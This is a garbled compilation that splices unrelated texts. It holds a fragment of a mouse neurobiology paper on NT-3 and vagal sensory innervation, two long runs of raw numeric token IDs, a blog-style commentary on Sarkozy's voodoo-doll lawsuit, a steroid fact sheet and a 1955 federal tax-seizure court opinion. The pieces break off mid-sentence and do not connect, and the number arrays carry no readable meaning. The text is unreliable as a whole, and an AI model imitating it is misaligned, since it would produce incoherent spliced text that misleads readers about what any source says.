afferents. Additional actions of NT-3 have been characterized in the sensory and sympathetic nervous systems, including roles in neuronal differentiation ([@B26]), axon growth ([@B41], [@B86]), and nerve terminal formation, including terminal size and structure ([@B56], [@B87]), degree of contact of nerve terminals with their accessory cells, and survival of their accessory cells ([@B2]). Based on the effects of NT-3 KO on vagal sensory neuron survival and other aspects of development of sensory and autonomic systems described above, we predicted that the specific loss of NT-3 from GI smooth muscle would disrupt development of vagal sensory innervation of the GI tract and consequently reduce vagal signaling to the brain. To investigate this hypothesis, mice with reduced NT-3 levels in GI smooth muscle were generated using a conditional gene targeting strategy, and vagal signaling from gut to brain in these mice was assessed by quantifying meal-induced activation of neurons in the dorsal vagal complex (DVC) and quantifying relevant meal pattern and microstructure parameters. MATERIALS AND METHODS {#sec1} ===================== Animals {#sec1-1} ------- ### Animals. {#sec1-1-1} SM22α^cre^ \[Ref. [@B46]; also referred to as transgelin^cre^; Tg(Tagln-cre)1Her/J; cat. no. 004746, JAX Laboratories, Bar Harbor, ME\], NT-3^neo/+^ (Ref. [@B85]; obtained from Lino Tessarollo), NT-3^+/lox^ (Ref. [@B4]; obtained from Guoping Fan), and NT-3^+/lox-lacZ^ (described below) mice were maintained at 23°C on a 12:12-h (14:10 h for breeding) light-dark schedule, lights on at 0500, with ad libitum access to tap water and Laboratory Rodent Diet 5001 (PMI Nutrition International, St. Louis, MO). All procedures were conducted in accordance with the NIH Guide for the Care and Use of Laboratory Animals (8th ed., The National Academic Press, Washington, DC) and American Association for Accreditation of Laboratory Animal Care guidelines and were approved by the Purdue University Animal Care and Use Committee. ### Rationale for use of SM22α^cre^ mice to target NT-3 KO to smooth muscle. {#sec1-1-2} The SM22α^cre^ mouse strain was utilized because it meets several criteria required for testing the role of GI NT-3 in vagal afferent development and function, as described previously for GI brain-derived neurotrophic factor (BDNF) ([@B34]). First, expression of Cre recombinase in SM22α^cre^ mice is largely restricted to smooth muscle, the main GI tissue that expresses NT-3 ([@B33], [@B34], [@B36
[ 4677, 562, 4555, 835, 281, 3812, 253, 1386, 1060, 15, 733, 5868, 253, 20267, 326, 253, 3918, 9521, 13, 4560, 326, 824, 247, 16748, 816, 4566, 1512, 2080, 15, 1292, 352, 858, 5722, 779, 247, 25662, 2408, 275, 8540, 13, 285, 352, 2424, 253, 3257, 281, 2075, 4320, 4815, 15, 1893, 253, 906, 310, 326, 253, 6135, 4558, 327, 7289, 13, 285, 588, 3164, 6233, 253, 5882, 8783, 625, 275, 6383, 285, 275, 29957, 15, 5838, 671, 326, 253, 2303, 273, 253, 15091, 3133, 281, 452, 644, 253, 6135, 13, 285, 417, 253, 1984, 352, 43604, 13, 46312, 322, 782, 15393, 27, 2070, 637, 3814, 362, 5353, 276, 15, 187, 187, 688, 253, 530, 15, 52, 904, 323, 1650, 13, 309, 1353, 417, 2119, 247, 3569, 4677, 13, 3918, 11301, 390, 18718, 313, 395, 8505, 3517, 14, 936, 14, 1257, 9526, 273, 2418, 10, 9662, 13, 323, 1650, 13, 812, 3330, 247, 4176, 323, 3731, 13759, 318, 273, 521, 390, 617, 2460, 689, 253, 7289, 273, 824, 247, 6135, 15, 3973, 273, 512, 13, 253, 2460, 4453, 281, 479, 347, 604, 352, 434, 644, 13657, 13, 387, 1878, 247, 1652, 13, 285, 326, 778, 320, 2217, 281, 4017, 352, 313, 2887, 44948, 9064, 45878, 13, 323, 1650, 13, 285, 326, 1386, 273, 2219, 481, 6347, 13, 436, 310, 3569, 6519, 13, 285, 352, 434, 1061, 1197, 13, 6885, 407, 253, 3973, 10737, 313, 2887, 388, 461, 2146, 362, 15, 20055, 4714, 481, 5838, 13, 2299, 13, 326, 25689, 3697, 7523, 5282, 909, 1063, 23460, 271, 10128, 2567, 689, 247, 33131, 934, 2522, 6135, 896, 275, 6157, 28, 253, 4176, 369, 6524, 11371, 672, 253, 2567, 5821, 281, 10007, 253, 6135, 15, 187, 187, 2906, 4297, 1598, 13, 247, 3569, 4677, 1537, 1333, 326, 253, 346, 2377, 1156, 3, 1060, 310, 3520, 5237, 13, 347, 3918, 322, 782, 15393, 1057, 15, 329, 2608, 1537, 18607, 13, 949, 247, 362, 836, 3288, 6135, 13, 281, 2847, 5237, 13, 604, 253, 2608, 11532, 326, 5237, 476, 906, 15, 1292, 2556, 281, 362, 836, 3288, 3762, 13, 253, 6135, 1364, 320, 10501, 285, 3562, 3340, 281, 2818, 253, 5487, 15, 309, 1053, 626, 1158, 611, 7, 35, 31901, 841, 6135, 84, 281, 2847, 253, 3918, 3520, 5237, 313, 395, 253, 3918, 2506, 626, 2686, 9059, 326, 582, 984, 627, 434, 642, 1941, 326, 611, 7, 35, 11532, 326, 253, 6135, 84, 2686, 476, 2847, 779, 5237, 15, 2053, 6135, 84, 403, 18461, 546, 9425, 339, 13, 417, 5480, 275, 253, 5899, 362, 836, 3288, 1039, 6034, 390, 11205, 5742, 387, 247, 5487, 15, 9876, 3918, 322, 782, 15393, 2994, 1663, 2868, 326, 3095, 812, 2847, 779, 3520, 5237, 949, 897, 273, 841, 6135, 84, 32, 9876, 344, 2868, 326, 3095, 812, 2847, 779, 12435, 5237, 32, 9876, 344, 2868, 275, 362, 836, 3288, 32, 1680, 344, 7738, 326, 611, 7, 35, 434, 4096, 275, 10156, 253, 6135, 84, 310, 281, 11907, 952, 281, 1158, 670, 5237, 272, 779, 13, 643, 685, 281, 1056, 794, 273, 779, 32, 22469, 417, 13, 1580, 344, 11210, 626, 5575, 326, 15, 754, 434, 4518, 417, 5211, 326, 253, 2567, 556, 23775, 690, 273, 521, 5701, 313, 10387, 346, 3633, 3663, 368, 40479, 247, 9264, 13928, 3, 281, 247, 23800, 665, 1904, 626, 971, 281, 17941, 521, 1133, 481, 187, 187, 2042, 326, 310, 253, 2238, 273, 5237, 344, 434, 25917, 670, 13, 840, 4931, 8672, 3548, 626, 247, 1175, 5249, 323, 779, 13, 387, 1878, 417, 275, 253, 530, 15, 52, 15, 3856, 13, 247, 1302, 651, 3164, 417, 4089, 521, 5833, 342, 1199, 25528, 15, 346, 34595, 8288, 13, 253, 1569, 1057, 417, 2743, 253, 6860, 281, 25504, 8991, 16744, 347, 581, 534, 943, 4763, 1199, 26854, 3396, 13, 285, 352, 310, 3240, 34007, 326, 954, 13, 604, 417, 512, 13, 34853, 452, 6777, 281, 1056, 352, 5079, 314, 28824, 494, 835, 253, 2589, 275, 1953, 310, 10481, 346, 483, 14372, 528, 449, 1292, 275, 253, 1533, 273, 8881, 670, 1345, 13909, 13, 1142, 1841, 2218, 342, 29613, 326, 403, 1679, 685, 50063, 403, 6885, 407, 253, 3973, 10737, 449, 388, 461, 2146, 362, 15, 20055, 4714, 13, 40873, 530, 15, 322, 15, 8676, 313, 14619, 481, 187, 187, 1276, 247, 530, 15, 52, 15, 18468, 1537, 9059, 310, 326, 253, 22894, 273, 253, 6135, 313, 1439, 611, 7, 35, 10, 1537, 21424, 4588, 313, 284, 10066, 281, 18131, 3516, 10, 5237, 281, 253, 1524, 1436, 6607, 407, 253, 6135, 15, 1292, 1014, 594, 13, 253, 3569, 4677, 651, 452, 281, 11399, 253, 21444, 40260, 3603, 283, 24301, 406, 1974, 13, 1485, 262, 1003, 13, 31771, 5237, 283, 249, 1340, 281, 11399, 247, 3973, 10737, 5684, 15, 2064, 13, 275, 619, 4743, 13, 310, 3965, 2834, 13, 672, 368, 1472, 16425, 326, 253, 7935, 1319, 273, 5237, 310, 247, 362, 836, 3288, 6135, 13, 285, 1014, 604, 368, 403, 16425, 326, 253, 769, 3139, 283, 5302, 253, 6135, 283, 16534, 11907, 247, 2626, 268, 552, 281, 1529, 13, 625, 3520, 769, 15, 309, 1912, 626, 755, 715, 1880, 271, 26442, 22894, 13, 1907, 6888, 326, 253, 362, 836, 3288, 6135, 2686, 2506, 626, 789, 13, 556, 247, 1750, 1411, 253, 11662, 15, 187, 187, 4943, 434, 625, 327, 253, 322, 782, 15393, 15091, 432, 253, 5625, 31566, 33602, 15, 29430, 281, 4489, 253, 322, 782, 15393, 6135, 285, 17909, 11595, 32, 733, 434, 2130, 432, 10550, 6181, 846, 4565, 1458, 313, 783, 2670, 310, 4211, 562, 987, 1024, 481, 52, 350, 9448, 313, 1145, 20038, 14, 1898, 41508, 10, 37351, 187, 187, 1145, 20038, 14, 395, 41508, 34481, 403, 637, 14, 12710, 15991, 2905, 281, 5086, 2825, 187, 73, 526, 2487, 15, 346, 1145, 20038, 3, 10770, 281, 6616, 14, 22157, 13, 285, 346, 395, 41508, 3, 10770, 281, 187, 19687, 833, 42212, 5319, 15, 346, 52, 350, 9448, 3, 10770, 281, 253, 966, 273, 5835, 15, 187, 6872, 5835, 403, 2130, 17734, 760, 407, 17632, 13, 281, 1555, 2515, 326, 187, 30714, 672, 253, 2133, 11330, 32459, 595, 1698, 8322, 273, 29127, 13, 824, 347, 187, 7555, 19416, 13384, 39731, 285, 690, 3510, 273, 187, 11548, 302, 566, 15, 1583, 403, 671, 15588, 281, 1555, 187, 2915, 31160, 275, 1363, 342, 24482, 285, 643, 6578, 326, 906, 275, 2957, 273, 187, 282, 266, 6616, 2280, 15, 48020, 273, 271, 20038, 34481, 13, 2299, 13, 476, 1421, 281, 4092, 187, 15356, 3237, 13, 690, 38378, 15, 187, 187, 14569, 13, 17812, 285, 2571, 7242, 271, 20038, 34481, 281, 7278, 3045, 285, 187, 12563, 281, 3157, 3520, 7286, 15, 743, 20038, 34481, 403, 2668, 32939, 390, 187, 249, 6499, 13, 5431, 275, 11945, 273, 3618, 390, 2607, 313, 709, 13004, 281, 347, 346, 12642, 272, 8375, 187, 30786, 685, 14949, 15, 25053, 272, 8687, 3192, 2709, 12768, 273, 34481, 187, 1189, 247, 2173, 2180, 273, 673, 13, 15910, 323, 247, 2180, 13, 285, 4983, 969, 15, 496, 187, 29483, 13, 4212, 2223, 13398, 2067, 1027, 3510, 273, 34481, 281, 22950, 187, 14094, 12510, 1223, 28699, 4016, 2538, 313, 709, 13004, 281, 347, 187, 3, 9742, 272, 6788, 187, 15220, 401, 15, 4727, 15, 854, 3763, 313, 38460, 10, 187, 52, 301, 2191, 322, 59, 947, 45, 3123, 13, 6043, 13, 187, 87, 15, 187, 32618, 367, 15, 353, 28077, 3887, 1843, 13, 347, 22729, 263, 273, 21074, 27464, 13, 8167, 15, 187, 23429, 15, 1621, 15, 11805, 1012, 15, 187, 11586, 2077, 4412, 2111, 444, 15, 399, 15, 1457, 2816, 15, 187, 23375, 1638, 13, 23438, 15, 187, 11, 39948, 46637, 322, 8260, 20844, 13, 21249, 13, 427, 15, 714, 904, 354, 396, 15, 187, 44514, 472, 367, 15, 13856, 13, 530, 15, 322, 15, 26712, 904, 21249, 13, 427, 15, 714, 15, 313, 38, 25658, 1519, 611, 23509, 254, 13, 39379, 15, 530, 15, 322, 15, 26712, 904, 21249, 13, 427, 15, 714, 904, 273, 5067, 582, 323, 3257, 15, 187, 7941, 54, 2775, 10114, 3016, 1400, 13, 4412, 6798, 15, 187, 510, 3482, 4395, 323, 3553, 281, 1873, 271, 13799, 5833, 15, 754, 3916, 326, 2176, 3906, 17076, 369, 17571, 407, 253, 3257, 13, 22729, 263, 273, 21074, 27464, 13, 762, 247, 7501, 273, 940, 5335, 13, 323, 253, 2891, 9781, 273, 581, 34186, 32079, 13, 3690, 904, 285, 4211, 10376, 281, 753, 7501, 1078, 3482, 13, 271, 6834, 13, 1907, 271, 3906, 275, 2891, 16243, 434, 4444, 13, 24488, 436, 2250, 407, 5266, 285, 1340, 281, 921, 2847, 281, 3297, 253, 7289, 273, 824, 17076, 13, 23962, 326, 352, 369, 521, 2867, 15, 187, 28050, 253, 1091, 1388, 273, 253, 1340, 281, 921, 2847, 13, 253, 2111, 8042, 562, 326, 352, 651, 320, 273, 642, 1961, 281, 2523, 247, 3297, 13, 1580, 253, 2867, 369, 2168, 4211, 13, 533, 11460, 253, 5266, 281, 320, 4127, 347, 247, 5833, 275, 253, 2250, 15, 743, 3662, 369, 4724, 285, 253, 2250, 369, 8344, 323, 2332, 15, 187, 3404, 247, 37631, 4854, 13, 352, 3395, 5165, 326, 253, 5833, 13, 8445, 247, 3297, 13, 369, 14697, 15, 6043, 627, 20026, 1160, 436, 3200, 281, 15026, 521, 5833, 13, 23962, 253, 32288, 3192, 285, 33632, 323, 2583, 8540, 323, 253, 1318, 273, 253, 17076, 15, 187, 510, 2208, 12148, 326, 3916, 1411, 352, 403, 6283, 6195, 27285, 275, 253, 2111, 273, 27120, 15, 3900, 352, 19943, 326, 253, 7671, 4412, 33417, 452, 644, 1677, 7571, 275, 2176, 5231, 7668, 4812, 11784, 8213, 13, 352, 8219, 326, 436, 10384, 281, 27551, 13, 5727, 3482, 17086, 326, 344, 310, 417, 247, 22094, 15, 733, 8219, 2007, 326, 253, 21074, 27464, 6307, 4428, 2176, 2515, 342, 2743, 281, 19519, 407, 27551, 13, 285, 326, 1014, 604, 3482, 320, 275, 326, 966, 13, 344, 556, 417, 35037, 342, 841, 10132, 15, 187, 9244, 953, 275, 253, 3753, 273, 294, 713, 8498, 281, 46270, 253, 22729, 263, 273, 21074, 27464, 432, 10156, 2867, 17571, 407, 779, 403, 3982, 275, 253, 4412, 33417, 762, 13927, 3349, 530, 15, 52, 15, 36, 15, 34, 15, 3015, 2164, 3571, 285, 2720, 19195, 13, 27906, 326, 2867, 2668, 762, 253, 11784, 5323, 310, 417, 294, 713, 87, 6051, 533, 2256, 281, 253, 2864, 265, 273, 253, 7829, 273, 253, 1986, 2077, 1907, 7571, 10445, 15, 187, 1147, 310, 11371, 1569, 326, 27370, 293, 21500, 290, 2626, 14, 2003, 447, 13, 3692, 2867, 556, 644, 2668, 407, 253, 22729, 263, 273, 21074, 27464, 323, 253, 2891, 9781, 273, 1529, 13, 778, 6558, 5231, 275, 253, 7671, 4412, 33417, 762, 436, 2593, 13, 281, 3297, 253, 7289, 10445, 13, 1293, 1146, 3033, 407, 10067, 273, 253, 21074, 27464, 6307, 17163, 17270, 19519, 42187, 253, 6803, 273, 2891, 313, 2666, 5466, 15, 10677, 1797, 273, 253, 21074, 27464, 6307, 273, 24178, 13, 3436, 530, 15, 52, 15, 36, 15, 34, 15, 3015, 10677, 1797, 481, 8057, 362, 15, 416, 4542, 36357, 13, 475, 46014, 399, 15, 36, 15, 28211, 904, 33790, 401, 15, 28131, 28, 22343, 28082, 447, 362, 15, 530, 620, 1342, 13, 495, 4082, 904, 9199, 401, 15, 19, 69, 47064, 28, 6270, 77, 9258, 362, 15, 6212, 13, 818, 4082, 904, 12842, 401, 15, 19, 69, 854, 2904, 28, 416, 2843, 3348, 282, 362, 15, 1997, 3751, 13, 495, 4082, 904, 26484, 401, 15, 19, 69, 44733, 15, 187, 9244, 953, 1411, 253, 22729, 263, 273, 21074, 27464, 323, 2583, 8540, 13, 3798, 347, 3916, 323, 2891, 1275, 41748, 13, 403, 3982, 275, 253, 4412, 33417, 762, 13927, 3349, 530, 15, 52, 15, 36, 15, 34, 15, 3015, 2145, 1449, 285, 3438, 2074, 19195, 275, 253, 42591, 6307, 13, 4933, 7671, 4412, 33417, 7571, 273, 667, 5079, 2250, 14475, 762, 271, 3162, 273, 5759, 5277, 323, 4812, 11784, 15, 187, 47, 857, 293, 21500, 290, 2626, 14, 2003, 447, 452, 644, 11460, 281, 25457, 762, 436, 2593, 835, 616, 1600, 310, 759, 68, 328, 7855, 2581, 685, 41473, 590, 15, 27659, 362, 15, 5628, 23119, 273, 20249, 273, 21809, 13, 898, 4082, 904, 21748, 401, 15, 19, 69, 818, 2693, 28, 13338, 353, 3867, 708, 13173, 87, 1080, 2434, 15, 362, 15, 31026, 13, 399, 15, 36, 15, 56, 15, 37, 15, 41062, 904, 12643, 401, 15, 4727, 15, 898, 3079, 28, 3228, 273, 1457, 2816, 362, 15, 5635, 15973, 9537, 904, 399, 15, 36, 15, 322, 15, 37, 15, 47, 15, 58, 904, 16493, 401, 15 ]	figure out exactly where to draw the line here. It denied the injunction that the President requested, finding that such a remedy just goes too far. But it did award him a nominal amount in damages, and it required the defendant to pay legal costs. So the result is that the doll remains on sale, and will probably earn the firm lots more in customers and in publicity. Note also that the target of the lawsuit seems to have been the doll, and not the book it accompanies, Nicolas Sarkozy: Le manuel vaudou. In the U.S., for example, I'm not sure a political figure, President Bush or Senator (and apparently soon-to-be Secretary of State) Clinton, for example, could win a suit for misappropriation of his or her image over the sale of such a doll. First of all, the image looks to me as if it's been transformed, at least a little, and that may be enough to protect it (see Comedy Three Productions, for example, and that line of cases). Second, this is political speech, and it's parody, protected by the First Amendment (see Hustler v. Falwell). Note, however, that Arnold Schwarzenegger sued an Ohio company over a bobblehead doll back in 2004; the suit was eventually settled when the company agreed to modify the doll. Arguably, a political figure might say that the "subtext" here is physical harm, as President Sarkozy does. A user might intend, through a voodoo doll, to cause harm, if the user believes that harm can result. But according to voodoo theory, the doll must be authentic and created especially to affect the victim. I don't think K&B intends these dolls to cause the President physical harm (and the President doesn't actually argue that), because there's no evidence that K&B believes that the dolls actually can cause him harm. These dolls are manufactured en masse, not prepared in the traditional voodoo way intended or aimed specifically at a victim. Does President Sarkozy himself really believe that someone could cause him physical harm through use of these dolls? Does he believe that someone could cause him spiritual harm? Does he believe in voodoo? Is he suggesting that K&B's purpose in selling the dolls is to encourage people to think about harming him, other than to make fun of him? Obviously not, since he hasn't alleged that. He's clearly not happy that the company has reproduced some of his comments (including "Get lost you pathetic a**hole" to a voter who didn't want to shake his hand). If that is the kind of harm he's complaining about, then perhaps politics isn't a good career for him, at least not in the U.S. Here, a court would probably not hear his complaint with much sympathy. "Generally speaking, the law does not regard the intent to inflict emotional distress as one which should receive much solicitude, and it is quite understandable that most, if not all, jurisdictions have chosen to make it civilly culpable where the conduct in question is sufficiently "outrageous." But in the world of debate about public affairs, many things done with motives that are less than admirable are protected by the First Amendment." Hustler v. Falwell, 485 U. S. 53 (1988). What a U.S. politician might argue is that the buyer of the doll (not K&B) might advocate actual (as opposed to dignitary) harm to the real person represented by the doll. But even so, the political figure would have to overcome the Brandenburg elements--advocacy, incitement, imminent harm--in order to overcome a First Amendment defense. That, in my opinion, is pretty difficult, when you're arguing that the instrumentality of harm is a voodoo doll, and even if you are arguing that the act itself--using the doll--could encourage a third pary to another, more physical act. I won't get into whether an unhappy buyer, having discovered that the voodoo doll actually doesn't work, has a claim against the manufacturer. Here's more on the Sarkozy lawsuit from the International Herald Tribune. Want to buy the Sarkozy doll and accompanying manual? It's available from Amazon France after December 15 (the site is sold out right now).Steroids (Anabolic-Androgenic) Facts Anabolic-androgenic steroids are man-made substances related to male sex hormones. "Anabolic" refers to muscle-building, and "androgenic" refers to increased masculine characteristics. "Steroids" refers to the class of drugs. These drugs are available legally only by prescription, to treat conditions that occur when the body produces abnormally low amounts of testosterone, such as delayed puberty and some types of impotence. They are also prescribed to treat body wasting in patients with AIDS and other diseases that result in loss of lean muscle mass. Abuse of anabolic steroids, however, can lead to serious health problems, some irreversible. Today, athletes and others abuse anabolic steroids to enhance performance and also to improve physical appearance. Anabolic steroids are taken orally or injected, typically in cycles of weeks or months (referred to as "cycling"), rather than continuously. Cycling involves taking multiple doses of steroids over a specific period of time, stopping for a period, and starting again. In addition, users often combine several different types of steroids to maximize their effectiveness while minimizing negative effects (referred to as "stacking"). 136 F.Supp. 862 (1955) Sidney SZERLIP, Plaintiff, v. Joseph P. MARCELLE, as Collector of Internal Revenue, Defendant. Civ. No. 11313. United States District Court E. D. New York. November 14, 1955. 863 Sidney Szerlip, Brooklyn, N. Y., pro se. Leonard P. Moore, U. S. Atty., Brooklyn, N. Y. (Elliott Kahaner, Asst. U. S. Atty., Brooklyn, N. Y., of counsel), for defendant. BRUCHHAUSEN, District Judge. The plaintiff moved for leave to file an amended complaint. He claims that certain office furniture was seized by the defendant, Collector of Internal Revenue, under a warrant of distraint, for the tax liability of one Moss Industries, Inc., and sold pursuant to said warrant before plaintiff, an attorney, having an office in tax debtor's plant, commenced this action by petition and order to show cause to stay the sale of such furniture, alleging that it was his property. Upon the return day of the order to show cause, the Court pointed out that it would be of no avail to issue a stay, since the property was already sold, but permitted the petition to be treated as a complaint in the action. An answer was filed and the action was noticed for trial. At a pretrial hearing, it became apparent that the complaint, seeking a stay, was improper. Plaintiff thereupon made this motion to amend his complaint, alleging the wrongful taking and praying for money damages for the value of the furniture. The government contends that claims against it are properly litigated in the Court of Claims. While it admits that the Federal District Courts have been given jurisdiction in certain actions involving internal revenue matters, it argues that this applies to taxpayers, whereas plaintiff asserts that he is not a taxpayer. It argues further that the Internal Revenue Code contains certain conditions with regard to suits by taxpayers, and that even if plaintiff be in that class, he has not complied with these regulations. Suits in the nature of replevin to restrain the Collector of Internal Revenue from selling property seized by him are brought in the District Courts under Title 28 U.S.C.A. § 2463 and prior statutes, declaring that property taken under the revenue laws is not repleviable but subject to the decrees of the courts of the United States having jurisdiction thereof. It is settled law that nondelinquent third-parties, whose property has been taken by the Collector of Internal Revenue for the tax liability of another, may maintain actions in the Federal District Courts under this section, to stay the sale thereof, without being bound by provisions of the Internal Revenue Code forbidding suits restraining the assessment of tax (now Sec. 7421 of the Internal Revenue Code of 1954, 26 U.S.C.A. § 7421). Long v. Rasmussen, *864 D.C.Mont., 281 F. 236; Rothensies v. Ullman, 3 Cir., 110 F.2d 590; Tomlinson v. Smith, 7 Cir., 128 F.2d 808; Raffaele v. Granger, 3 Cir., 196 F.2d 620. Suits against the Collector of Internal Revenue for money damages, usually as claims for tax refunds, are brought in the District Courts under Title 28 U.S.C.A. § 1340 and former similar statutes in the Judiciary Code, giving Federal District Courts jurisdiction of any civil action arising under an Act of Congress providing for internal revenue. Nondelinquent third-parties have been permitted to sue under this section where their interest is pecuniary rather than proprietory. Stuart v. Chinese Chamber of Commerce of Phoenix, 9 Cir., 168 F.2d 709; Colorado Milling & Elevator Co. v. Glenn, D.C.W.D.Ky., 118 F.Supp. 943; City of New York v. Evigo Corp., D.C. S.D.N.Y., 121 F.
[ 80, 2153, 13, 390, 12429, 12304, 251, 13, 390, 4931, 5171, 416, 7937, 15, 187, 187, 1989, 604, 16508, 24828, 33571, 67, 1417, 264, 3780, 643, 685, 30623, 72, 342, 33039, 27469, 566, 13, 352, 3164, 5082, 626, 320, 247, 1077, 4722, 6440, 15, 30623, 72, 556, 1160, 521, 14910, 4882, 33657, 952, 13, 432, 27700, 328, 273, 253, 16631, 281, 380, 3645, 434, 8072, 13, 533, 253, 5322, 5599, 12046, 344, 10316, 432, 581, 2199, 281, 253, 1735, 310, 2234, 15, 754, 14280, 2584, 4882, 11598, 14, 8777, 13, 533, 597, 1472, 6652, 494, 11598, 14, 8777, 15, 187, 187, 2598, 344, 434, 247, 2266, 1421, 323, 253, 6323, 3085, 407, 4200, 555, 13814, 10524, 365, 3558, 21638, 8302, 15, 496, 16508, 24828, 33571, 13, 30623, 72, 7120, 8872, 14, 84, 471, 9732, 26298, 13, 665, 310, 7169, 253, 3745, 281, 513, 428, 368, 30346, 352, 428, 2712, 407, 247, 7674, 267, 273, 28840, 313, 5711, 5491, 407, 8302, 285, 521, 7715, 8462, 394, 790, 13, 12284, 4031, 282, 13, 2516, 8148, 3248, 13, 21638, 443, 3370, 312, 13, 285, 6277, 49008, 10, 281, 11206, 7565, 434, 9447, 7574, 3396, 15, 1310, 26298, 4648, 616, 9140, 323, 1175, 13, 7565, 46046, 13, 533, 604, 344, 4648, 352, 323, 10319, 253, 8859, 591, 6419, 15, 187, 187, 998, 1582, 403, 1029, 13, 594, 10748, 26298, 564, 46627, 745, 285, 47048, 327, 521, 23535, 6346, 313, 47085, 17600, 968, 1079, 582, 4245, 2994, 247, 3511, 18400, 13, 285, 2789, 521, 4370, 2312, 15, 313, 510, 4370, 13, 26062, 13, 310, 39544, 407, 253, 3563, 22463, 8757, 275, 581, 273, 521, 2457, 9503, 2698, 187, 187, 324, 38207, 187, 187, 48462, 33571, 434, 19150, 556, 247, 3282, 273, 38550, 313, 9088, 434, 247, 5799, 50189, 73, 24736, 434, 16398, 281, 253, 20970, 45700, 281, 253, 20541, 10, 285, 9193, 28826, 13, 533, 627, 434, 247, 9023, 273, 1182, 1279, 22611, 1060, 281, 564, 2112, 342, 253, 34303, 5248, 15, 1310, 352, 4453, 4309, 13, 352, 9193, 642, 1679, 3698, 494, 15, 31019, 474, 21695, 32, 9368, 1024, 281, 3984, 3587, 281, 581, 273, 776, 18024, 19414, 13, 5803, 247, 1067, 4055, 15, 31938, 14, 24185, 14, 1237, 361, 6825, 323, 3277, 302, 318, 187, 187, 6739, 42, 20715, 19371, 3915, 2313, 187, 187, 6739, 42, 20715, 19371, 3915, 2313, 187, 187, 1267, 2313, 310, 271, 512, 14, 1826, 13, 8609, 15641, 4302, 3678, 2685, 21623, 326, 24772, 253, 954, 4735, 14, 285, 1159, 14, 6793, 23598, 342, 253, 4491, 434, 954, 7269, 2685, 13479, 281, 5115, 247, 7777, 1375, 14, 1171, 14, 783, 14, 21559, 2685, 1313, 2158, 2900, 323, 9787, 4870, 285, 4444, 4893, 15, 187, 187, 510, 3915, 2313, 2962, 26518, 310, 5061, 321, 47076, 275, 4804, 634, 1655, 285, 2852, 878, 323, 18012, 13, 1232, 1491, 285, 10924, 15, 12369, 634, 3453, 3198, 403, 5899, 577, 14, 938, 278, 34, 7370, 13, 4294, 16, 48241, 13, 13965, 774, 698, 390, 7269, 5865, 1685, 10924, 824, 347, 388, 5757, 13, 6807, 1673, 13097, 13, 41238, 5472, 3016, 13, 390, 4559, 13097, 13, 3915, 2313, 556, 368, 6107, 15, 3915, 2313, 434, 1685, 10924, 452, 644, 18065, 407, 285, 403, 9856, 4095, 342, 388, 5757, 285, 6807, 1673, 13097, 15, 496, 1635, 13, 49243, 12639, 313, 3442, 657, 582, 714, 536, 462, 11415, 285, 329, 10172, 313, 10695, 37582, 10, 452, 5762, 285, 16058, 3915, 2313, 12234, 8, 6807, 7327, 13097, 734, 2211, 1430, 342, 616, 2718, 15, 1737, 434, 625, 13, 943, 368, 2455, 878, 281, 1818, 390, 15047, 13, 3915, 2313, 476, 320, 11516, 281, 667, 273, 841, 18012, 342, 247, 2969, 3120, 1818, 13, 275, 253, 1673, 15, 3954, 326, 434, 3192, 1620, 40072, 281, 247, 2644, 747, 1268, 2, 187, 187, 5872, 627, 434, 3915, 2313, 434, 3148, 16, 1088, 483, 13, 534, 10316, 747, 4495, 281, 253, 1307, 1232, 1491, 15, 29574, 13, 253, 3915, 2313, 434, 29886, 3148, 3400, 253, 954, 11088, 1491, 327, 253, 1232, 6341, 285, 2515, 273, 667, 8609, 2685, 21623, 2130, 428, 923, 253, 3915, 2313, 2810, 14, 484, 3239, 323, 512, 253, 4278, 15, 187, 187, 1992, 3426, 253, 2900, 13, 3915, 2313, 2685, 3603, 285, 1232, 10291, 5416, 253, 1682, 1896, 6341, 285, 3576, 12692, 15, 401, 7142, 2685, 3284, 11809, 452, 644, 3962, 264, 285, 18325, 949, 2800, 8007, 273, 416, 7, 37, 285, 1524, 1533, 2793, 275, 8609, 15641, 4302, 285, 2685, 1313, 2158, 4893, 15, 2726, 8609, 15641, 627, 403, 642, 4886, 4243, 281, 27358, 390, 43848, 15, 831, 1543, 275, 253, 6459, 13367, 285, 9865, 16347, 327, 9363, 15, 187, 187, 29760, 2380, 13, 7200, 13, 10280, 1430, 285, 1048, 14, 8206, 403, 7423, 17144, 273, 401, 7142, 2685, 3603, 2130, 342, 3915, 2313, 15, 1244, 13, 512, 747, 403, 253, 3915, 49, 3210, 13, 534, 823, 3473, 6814, 15, 7532, 2685, 13, 3276, 285, 3473, 275, 247, 2014, 13341, 14, 3659, 8609, 15641, 21623, 2866, 743, 4491, 806, 285, 401, 7142, 11855, 2, 2635, 13, 1908, 643, 3915, 2313, 12234, 46853, 1644, 751, 8746, 14, 10531, 10499, 2718, 285, 401, 7142, 457, 84, 44214, 7188, 74, 4218, 4500, 326, 3400, 1534, 2105, 285, 673, 16347, 407, 9591, 7870, 18543, 21999, 275, 14, 12198, 86, 13, 1293, 2455, 11922, 253, 7935, 432, 253, 1232, 15, 1916, 5416, 1097, 11990, 273, 12692, 285, 247, 3761, 342, 634, 1232, 2515, 13, 3915, 2313, 6131, 247, 11088, 5438, 273, 1232, 10291, 285, 12692, 4610, 15, 11387, 322, 3485, 24907, 423, 10223, 1916, 656, 323, 495, 10519, 8937, 84, 187, 187, 6872, 403, 253, 9872, 322, 3485, 24907, 423, 10223, 1916, 656, 323, 495, 10519, 8937, 84, 964, 2058, 299, 14844, 43222, 359, 5206, 253, 1682, 16743, 24907, 423, 10223, 1916, 656, 964, 3824, 2285, 273, 1429, 14, 16217, 1641, 2278, 285, 1071, 6763, 273, 24907, 423, 10223, 1916, 656, 964, 2635, 13, 597, 3761, 1046, 5382, 281, 253, 3745, 273, 495, 10519, 8937, 84, 15, 733, 434, 984, 273, 436, 1232, 326, 359, 387, 299, 14844, 43222, 476, 12215, 247, 1429, 434, 794, 15, 187, 187, 38, 14844, 43222, 367, 5519, 187, 187, 6872, 403, 776, 401, 5851, 1372, 1433, 1410, 15, 2726, 594, 1142, 281, 5206, 432, 13, 359, 3078, 281, 1918, 247, 1133, 281, 1361, 368, 1089, 253, 7880, 4484, 383, 23908, 327, 253, 2670, 15, 1876, 444, 14844, 43222, 367, 5519, 19167, 187, 187, 688, 10811, 495, 8442, 27, 367, 14806, 353, 609, 13, 367, 14806, 36414, 267, 322, 1807, 1981, 285, 367, 14806, 36414, 267, 15, 37351, 670, 367, 565, 375, 27, 428, 3973, 13, 247, 367, 14806, 310, 417, 247, 21876, 273, 12074, 13, 352, 310, 247, 3295, 14, 17523, 326, 2789, 247, 367, 14806, 15, 428, 329, 367, 14806, 8815, 556, 247, 11959, 3346, 187, 